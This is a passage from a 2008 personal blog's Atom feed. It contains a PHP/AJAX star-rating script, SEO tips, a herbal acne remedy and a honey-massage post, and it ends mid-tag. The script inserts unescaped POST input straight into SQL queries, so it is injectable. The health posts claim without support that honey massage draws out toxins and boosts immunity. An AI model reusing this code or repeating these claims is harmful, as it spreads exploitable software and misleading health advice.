src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8136220204377512798</id><published>2008-08-25T01:34:00.000-07:00</published><updated>2011-10-18T07:53:03.107-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><title type='text'>AJAX &amp; PHP star rating system script</title><content type='html'>&lt;hr /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;Here you can get the new and updated version of the script. Now tracking all of your web pages automatically. You just have to include it to the desired page.&lt;br /&gt;&lt;a class="demo" href="http://tools.royalsbg.com/star_rating.php?id=100"&gt;DEMO&lt;/a&gt;&lt;br /&gt;&lt;form action="https://www.paypal.com/cgi-bin/webscr" method="post"&gt;&lt;input name="cmd" type="hidden" value="_s-xclick" /&gt;&lt;br /&gt;&lt;input name="hosted_button_id" type="hidden" value="9795331" /&gt;&lt;br /&gt;&lt;input alt="PayPal - The safer, easier way to pay online." border="0" name="submit" src="https://www.paypal.com/en_GB/i/btn/btn_buynow_LG.gif" type="image" /&gt;&lt;br /&gt;&lt;img alt="" border="0" height="1" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" /&gt;&lt;/form&gt;&lt;hr /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://www.webresourcesdepot.com/wp-content/uploads/image/php-mysql-star-rating.gif" /&gt;&lt;/div&gt;&lt;br /&gt;And the old version:&lt;br /&gt;After reading lots of articles about star rating systems here is my improved Ajax &amp;amp; CSS version based on the PHP(http://slim.climaxdesigns.com/) and CSS(komodomedia.com) scripts.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Installation: &lt;/span&gt;&lt;br /&gt;To implement the script into your existing CMS you have to:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;1. set the variable &lt;span style="font-weight: bold;"&gt;$article_id&lt;/span&gt; so that every article to have its own unique rating. ( i.e: &amp;nbsp;$article_id=1; - to track page with id = 1 &amp;nbsp;etc...)&lt;br /&gt;&lt;div&gt;&lt;br /&gt;2. add &lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;div id="myspan"&amp;gt;&amp;lt;/div&amp;gt;&lt;/pre&gt;to your HTML page on place where you want the star rating to appear.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;3. create table ratings in your MySql database:&lt;br /&gt;&lt;blockquote&gt;CREATE TABLE IF NOT EXISTS `ratings` (&lt;br /&gt;`id` int(11) NOT NULL,&lt;br /&gt;`total_votes` int(11) NOT NULL,&lt;br /&gt;`total_value` int(11) NOT NULL,&lt;br /&gt;`used_ips` longtext,&lt;br /&gt;PRIMARY KEY  (`id`)&lt;br /&gt;)&lt;/blockquote&gt;4. Include the following star_rating.php script at the &lt;span style="font-weight: bold;"&gt;end&lt;/span&gt;&amp;nbsp;of your webpage:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var http_request = false;&lt;br /&gt;function makePOSTRequest(url, parameters) {  http_request = false;&lt;br /&gt;if (window.XMLHttpRequest) {http_request = new XMLHttpRequest();&lt;br /&gt;if (http_request.overrideMimeType) { http_request.overrideMimeType('text/xml');  }&lt;br /&gt;} else if (window.ActiveXObject) {&lt;br /&gt;try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {&lt;br /&gt;try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); }  catch (e) {}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if (!http_request) {  alert('Cannot create XMLHTTP instance');  return false;   }&lt;br /&gt;document.getElementById('myspan').innerHTML = "Loading...";&lt;br /&gt;http_request.onreadystatechange = alertContents;&lt;br /&gt;http_request.open('POST', url, true);&lt;br /&gt;http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");&lt;br /&gt;http_request.setRequestHeader("Charset", "windows-1251");&lt;br /&gt;http_request.setRequestHeader("Content-length", parameters.length);&lt;br /&gt;http_request.setRequestHeader("Connection", "close");&lt;br /&gt;http_request.send(parameters);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function alertContents() {&lt;br /&gt;if (http_request.readyState == 4) {&lt;br /&gt;if (http_request.status == 200) {&lt;br /&gt;result = http_request.responseText;&lt;br /&gt;document.getElementById('myspan').innerHTML = result;&lt;br /&gt;} else { alert('Please try again later.'); }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function rate(article_id, vote){ makePOSTRequest('star_rating.php', 'article_id=' +article_id+'&amp;amp;vote='+vote); }&lt;br /&gt;&lt;br /&gt;if (document.getElementById) {  window.onload = myUnobtrusiveBehavior; }&lt;br /&gt;&lt;br /&gt;function myUnobtrusiveBehavior() {&lt;br /&gt;var percentstyle="width:&amp;lt;?echo @number_format($current_rating/$count,2)*20 ?&amp;gt;px;";&lt;br /&gt;var content ="&amp;lt;div class=\"rating\" id=\"rating\"&amp;gt; &amp;lt;ul class=\"star-rating\"&amp;gt; &amp;lt;li class=\"current-rating\" style=\""+percentstyle+"\" &amp;gt;Current rating&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a id=\"rate1\" class=\"one-star\"&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a id=\"rate2\" class=\"two-stars\"&amp;gt;2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a id=\"rate3\" class=\"three-stars\"&amp;gt;3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a id=\"rate4\" class=\"four-stars\"&amp;gt;4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;a id=\"rate5\" class=\"five-stars\"&amp;gt;5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;";&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;var myspan = document.createElement("div");&lt;br /&gt;myspan.setAttribute("id", "myspan");&lt;br /&gt;myspan.innerHTML = content;&lt;br /&gt;document.body.appendChild(myspan);&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;document.getElementById("myspan").innerHTML=content;&lt;br /&gt;&lt;br /&gt;if (document.getElementById("rating")) {&lt;br /&gt;var article_id=document.getElementById("item").value;&lt;br /&gt;document.getElementById("rate1").onclick = function () {rate(article_id,'1'); return false;}&lt;br /&gt;document.getElementById("rate2").onclick = function () {rate(article_id,'2'); return false;}&lt;br /&gt;document.getElementById("rate3").onclick = function () {rate(article_id,'3'); return false;}&lt;br /&gt;document.getElementById("rate4").onclick = function () {rate(article_id,'4'); return false;}&lt;br /&gt;document.getElementById("rate5").onclick = function () {rate(article_id,'5'); return false;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;.star-rating,&lt;br /&gt;.star-rating a:hover,&lt;br /&gt;.star-rating a:active,&lt;br /&gt;.star-rating a:focus,&lt;br /&gt;.star-rating .current-rating{&lt;br /&gt;background: url(star_rating.gif) left -1000px repeat-x;&lt;br /&gt;}&lt;br /&gt;.star-rating{&lt;br /&gt;position:relative;&lt;br /&gt;width:125px;&lt;br /&gt;height:25px;&lt;br /&gt;overflow:hidden;&lt;br /&gt;list-style:none;&lt;br /&gt;margin:0;&lt;br /&gt;padding:0;&lt;br /&gt;background-position: left top;&lt;br /&gt;}&lt;br /&gt;.star-rating li{&lt;br /&gt;display: inline;&lt;br /&gt;}&lt;br /&gt;.star-rating a,&lt;br /&gt;.star-rating .current-rating{&lt;br /&gt;position:absolute;&lt;br /&gt;top:0;&lt;br /&gt;left:0;&lt;br /&gt;text-indent:-1000em;&lt;br /&gt;height:25px;&lt;br /&gt;line-height:25px;&lt;br /&gt;outline:none;&lt;br /&gt;overflow:hidden;&lt;br /&gt;border: none;&lt;br /&gt;}&lt;br /&gt;.star-rating a:hover,&lt;br /&gt;.star-rating a:active,&lt;br /&gt;.star-rating a:focus{&lt;br /&gt;background-position: left bottom;&lt;br /&gt;}&lt;br /&gt;.star-rating a.one-star{&lt;br /&gt;width:20%;&lt;br /&gt;z-index:6;&lt;br /&gt;}&lt;br /&gt;.star-rating a.two-stars{&lt;br /&gt;width:40%;&lt;br /&gt;z-index:5;&lt;br /&gt;}&lt;br /&gt;.star-rating a.three-stars{&lt;br /&gt;width:60%;&lt;br /&gt;z-index:4;&lt;br /&gt;}&lt;br /&gt;.star-rating a.four-stars{&lt;br /&gt;width:80%;&lt;br /&gt;z-index:3;&lt;br /&gt;}&lt;br /&gt;.star-rating a.five-stars{&lt;br /&gt;width:100%;&lt;br /&gt;z-index:2;&lt;br /&gt;}&lt;br /&gt;.star-rating .current-rating{&lt;br /&gt;z-index:1;&lt;br /&gt;background-position: left center;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* for an inline rater */&lt;br /&gt;.inline-rating{&lt;br /&gt;display:-moz-inline-block;&lt;br /&gt;display:-moz-inline-box;&lt;br /&gt;display:inline-block;&lt;br /&gt;vertical-align: middle;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* smaller star */&lt;br /&gt;.small-star{&lt;br /&gt;width:50px;&lt;br /&gt;height:10px;&lt;br /&gt;}&lt;br /&gt;.small-star,&lt;br /&gt;.small-star a:hover,&lt;br /&gt;.small-star a:active,&lt;br /&gt;.small-star a:focus,&lt;br /&gt;.small-star .current-rating{&lt;br /&gt;background-image: url(star_small.gif);&lt;br /&gt;line-height: 10px;&lt;br /&gt;height: 10px;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;$dbhost = 'localhost';&lt;br /&gt;$dbuser = 'your_username';&lt;br /&gt;$dbpass = 'your_password';&lt;br /&gt;$dbname = 'your_databasename';&lt;br /&gt;$tableName="ratings";&lt;br /&gt;$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);&lt;br /&gt;&lt;br /&gt;$rating_posted=$_POST['vote'];//the actual user vote&lt;br /&gt;$id=$_POST['article_id'];//passed article_id&lt;br /&gt;if (empty($id)) {$id=$article_id;}&lt;br /&gt;&lt;br /&gt;$query=mysql_query("SELECT total_votes, total_value, used_ips FROM $tableName WHERE id='$id' ")or die(" Error: ".mysql_error());&lt;br /&gt;&lt;br /&gt;$numbers=mysql_fetch_assoc($query);&lt;br /&gt;$checkIP=unserialize($numbers['used_ips']);&lt;br /&gt;$count=$numbers['total_votes'];//how many votes total&lt;br /&gt;$current_rating=$numbers['total_value'];//total number of rating added together and stored&lt;br /&gt;$sum=$rating_posted+$current_rating;// add together the current vote value and the total vote value&lt;br /&gt;$tense=($count==1) ? "vote" : "votes";//plural form votes/vote&lt;br /&gt;&lt;br /&gt;$voted=mysql_fetch_assoc(mysql_query("SELECT * FROM $tableName WHERE used_ips LIKE '%".$_SERVER['REMOTE_ADDR']."%' AND id='$id' ")); //This variable searches through the previous ip addresses that have voted and returns true or false&lt;br /&gt;&lt;br /&gt;//when already voted&lt;br /&gt;if($voted){&lt;br /&gt;echo "&amp;lt;ul class=\"star-rating\"&amp;gt;&lt;br /&gt;&amp;lt;li class=\"current-rating\" style=\"width:". @number_format($current_rating/$count,2)*20 ."%;\"&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;Rating: &amp;lt;strong&amp;gt;".@number_format($current_rating/$count,2)."&amp;lt;/strong&amp;gt; ( $count $tense )&lt;br /&gt;&amp;lt;br /&amp;gt;&amp;lt;span style=\"color:red;\"&amp;gt;You've already voted.&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else{&lt;br /&gt;//if not voted do the actual voting&lt;br /&gt;if(isset($rating_posted)){&lt;br /&gt;//open initial voting row if necessary&lt;br /&gt;if (mysql_num_rows($query) == 0) { $sql = "INSERT INTO $tableName (id, total_votes, total_value, used_ips) VALUES ('$id', '0', '0', '')"; $result = mysql_query($sql) or die("err");}&lt;br /&gt;//increment votes, check ips &amp;amp; add/update vote to table&lt;br /&gt;if($sum==0){ $added=0;} else{ $added=$count+1;}&lt;br /&gt;if(is_array($checkIP)){array_push($checkIP,$_SERVER['REMOTE_ADDR']);}else{ $checkIP=array($_SERVER['REMOTE_ADDR']);}&lt;br /&gt;$insert=serialize($checkIP);&lt;br /&gt;mysql_query("UPDATE $tableName SET total_votes='$added', total_value='$sum',used_ips='$insert' WHERE id='$id'")  or die("Error");&lt;br /&gt;$response = "&amp;lt;div class=\"rating\"&amp;gt;Rate: &amp;lt;strong&amp;gt;".@number_format($sum/$added,2)."&amp;lt;/strong&amp;gt; &amp;lt;br /&amp;gt;  &amp;lt;span style=\"color:red;\"&amp;gt;Thank you for your vote cast!&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;";&lt;br /&gt;echo iconv("windows-1251", "UTF-8", $response);&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//if not voting just show the current rating&lt;br /&gt;else { echo "&amp;lt;div id=\"myspan\"&amp;gt;&amp;lt;/div&amp;gt;";}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}//end if&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt;&amp;nbsp;system works only when JavaScript is enabled.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8136220204377512798?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8136220204377512798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8136220204377512798' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8136220204377512798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8136220204377512798'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/08/ajax-php-star-rating-system-script.html' title='AJAX &amp; PHP star rating system script'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7525494114185304448</id><published>2008-08-19T22:54:00.000-07:00</published><updated>2008-08-19T23:29:17.627-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Move content and avoid the duplicate penalty</title><content type='html'>Recently I've decided to move some articles from my personal website to my CMS. They've all been well placed and appeared at search engine positions from 1 to 10. Not long after the move I've noticed that identical(new+old) articles appeared fighting for position on Google's search.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The problem:&lt;/span&gt; Then I began to think that obviously my new CMS article pages were facing duplicate content issues(reason: the old content already had Google's trust with its earlier creation date and links pointing to). Obviously I've had to remove the old duplicates, but how?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Solution:&lt;/span&gt;&lt;br /&gt;At first I logged at Google's Webmaster tools then from Tools-&gt;Remove URL I've typed my old URLs and waited -&gt; Status denied. Apparently they've had too many links pointing to them.&lt;br /&gt;Then I've created and uploaded a &lt;span style="font-weight: bold;"&gt;robots.txt &lt;/span&gt;file on my old website with all the URL's I wanted to disappear from the index and resubmitted the links again via Tools-&gt;Remove URL.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Result:&lt;/span&gt; Some of the pages were removed but most stayed. I've repeated the same procedure over a week and Voilla! the pages went out of the index!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remark: &lt;/span&gt;If you want to further protect those old pages just create blank page with &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;meta noindex, nofollow&lt;/span&gt; and place an appropriate &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;link&lt;/span&gt; to the new location.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7525494114185304448?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7525494114185304448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7525494114185304448' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7525494114185304448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7525494114185304448'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/08/move-content-and-avoid-duplicate.html' title='Move content and avoid the duplicate penalty'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7278190012905433385</id><published>2008-08-04T00:33:00.000-07:00</published><updated>2008-08-04T01:07:22.413-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Solving local indexing problems</title><content type='html'>This post will be short but useful.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The problem&lt;/span&gt;&lt;br /&gt;Recently I've checked one of my websites having a solid unique content of 400+ pages. When I went to Google's Webmastertools Dashboard and clicked on the Top search queries I've got 2-to 9th position on most of my content, but still the traffic was not comparable to the competition's.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The surprise&lt;/span&gt;&lt;br /&gt;I quickly clicked on one of the search keywords and to my surprise the web page was not listed on the suggested position, but &lt;span style="font-weight: bold;"&gt; few SERPS pages further&lt;/span&gt;.&lt;br /&gt;What was the reason behind this? Then I started to run advanced search queries from Google with the &lt;span style="font-weight: bold;"&gt;Language attribute set&lt;/span&gt;. Again to my surprise the results were accurate, but only when the language attribute was set.&lt;br /&gt;&lt;img src="http://www.googleguide.com/images/frenchSearch.gif" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The analysis&lt;/span&gt;&lt;br /&gt;Then I investigated my meta tags and those of my competition. The analysis showed that I've restricted the traffic flowing to my website by choosing explicit &lt;span style="font-weight: bold;"&gt;meta language and country definition&lt;/span&gt;. This way the ordinary users who've got their Windows installed with no regional settings set won't view the my content pages.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The result:&lt;/span&gt;&lt;br /&gt;I've removed all the meta tags from my pages except:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" lang="my_local_language"&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=my_page_charset" /&amp;gt;&lt;br /&gt;&amp;lt;meta http-equiv="Content-Language" content="my_local_language" /&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Success!&lt;/span&gt;&lt;br /&gt;A few minutes later the pages showed up in the general as well as local search!&lt;br /&gt;&lt;br /&gt;I wish you could use this information to bring such deserved traffic to your website.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7278190012905433385?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7278190012905433385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7278190012905433385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7278190012905433385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7278190012905433385'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/08/solving-local-indexing-problems.html' title='Solving local indexing problems'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-129769661903253147</id><published>2008-07-28T01:31:00.000-07:00</published><updated>2009-02-20T12:47:01.930-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acne'/><title type='text'>Herbal acne treatment</title><content type='html'>&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://static.deliaonline.com/images/width150/horseradish-19485.jpg" alt="" border="0" /&gt;&lt;span style="font-weight: bold;"&gt;Herbal vinegar&lt;/span&gt;&lt;br /&gt;Gently wash your skin and while still wet pour on it apple vinegar mixed with horse-radish. Leave it so for 10 minutes, then rinse with water. Repeat the procedure 2 times daily: in the morning and night.&lt;br /&gt;How to prepare the herbal vinegar:&lt;br /&gt;Add finely grated horse radish to apple cider. Pour the mixture in a bottle so that the vinegar should top up the herb. Leave the consistence for 10 days in a moderate temperature. Both ingredients complement each other into a beneficial for the skin essence.&lt;br /&gt;Additionally if you want to achieve more effective results prior the procedure use a cotton ball with diluted salicylic acid to clear up the old skin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tea tree oil&lt;/span&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://www.dermaxime.com/images/tea-tree.jpg" alt="" border="0" /&gt;&lt;br /&gt;First you need to do a herbal water vapor on the affected area. How? Put dry lavender in a preheated saucepan filled with water. The lavender has antibacterial effect. Bow before the water surface and stay up to 10 minutes. If it gets harder to do this grab a sponge and massage over the affected area. This is needed to clean up the pores. Next gently apply the tea tree oil.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternatively before going to sleep you can apply the following &lt;span style="font-weight: bold;"&gt;herbal mask&lt;/span&gt;:&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://www.english-country-garden.com/a/i/flowers/white-dead-nettle-2.jpg" alt="" border="0" /&gt;&lt;br /&gt;mix thoroughly&lt;br /&gt;2 tsp. of yogurt&lt;br /&gt;4 drops of tee tree oil&lt;br /&gt;1 tsp. of freshly squashed lemon juice&lt;br /&gt;in the morning rinse with water.&lt;br /&gt;&lt;br /&gt;General advice:&lt;br /&gt;Drink 1 litter of tea prepared from the nettle leaves - continuously through the whole day.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-129769661903253147?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/129769661903253147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=129769661903253147' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/129769661903253147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/129769661903253147'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/07/herbal-acne-treatment.html' title='Herbal acne treatment'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5522710799850958788</id><published>2008-07-23T00:59:00.000-07:00</published><updated>2008-07-27T10:01:50.831-07:00</updated><title type='text'>The honey massage</title><content type='html'>&lt;img style="margin: 0pt 10px 10px 0pt;" src="http://www.lintrezza.com/uploaded_images/dripping_honey_small-785425.jpg" alt="honey massage" border="0" /&gt;Honey massage is type of soft tissue massage that has beneficial healing properties to the body. Besides water and carbohydrates, there are essential micro elements, minerals, enzymes and antibiotics. When eaten those beneficial nutrients are being partly destroyed by the hydrochloric stomach acid, but when applied to the skin they are fully absorbed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Preparation&lt;/span&gt;&lt;br /&gt;First make sure that you are not allergic to honey and try to get a liquid non-crystallized one from a local herbal shop.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Technique&lt;/span&gt;&lt;br /&gt;Pour honey all over the area that will be massaged. Then try to “unglue” your hands from the area by palm clapping and rubbing motions. Continue until all the honey disappears. If you’ve been doing it right then white-gray skin pallets will form. This indicates that the years accumulated harmful toxins held under the skin are being removed effectively.&lt;br /&gt;When you finish wash the skin with sponge and warm water. The healing effects can be felt immediately. Be warned that the skin will remain red for a short time right after the treatment and initially may hurt, but after a couple of sessions it will adapt. For effective cellulite removal you’ll need at least 15 such sessions.&lt;br /&gt;Duration: 30 minutes to 90 minutes&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Benefits&lt;/span&gt;:&lt;br /&gt;- cleans moisturizes and nourishes the skin&lt;br /&gt;- removes salts and toxins&lt;br /&gt;- relaxes the nervous system&lt;br /&gt;- improves blood circulation, metabolism&lt;br /&gt;- increases the lymphatic system flow&lt;br /&gt;- Anti-cellulite&lt;br /&gt;- frees from intellectual and physical chronic exhaustion&lt;br /&gt;- increases immunity and the ability of the organism to purify itself&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Additionally&lt;/span&gt;&lt;br /&gt;You can additionally pour a few drops of lemon, orange, tangerine, juniper or lavender oil. If you prefer to use a couple of oils first you’ll need to mix them and add the honey afterwards.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5522710799850958788?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5522710799850958788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5522710799850958788' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5522710799850958788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5522710799850958788'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/07/honey-massage.html' title='The honey massage'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-150769815305179564</id><published>2008-07-22T01:19:00.001-07:00</published><updated>2009-02-23T07:31:43.827-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>2 column blogger template - simple white</title><content type='html'>Easy to install clean white 2 column template for Blogger.&lt;br /&gt;Here are some of its features:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;allows AdSense integration&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;has sitemap&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;optimized, not causing duplicate content&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;uses legible fonts&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;contrast color scheme&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;preview:&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_nXiUn_G4NDk/SIWdSaqZGCI/AAAAAAAAAPg/oIjXAhqrfp0/s1600-h/2col_template.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; cursor: pointer;" 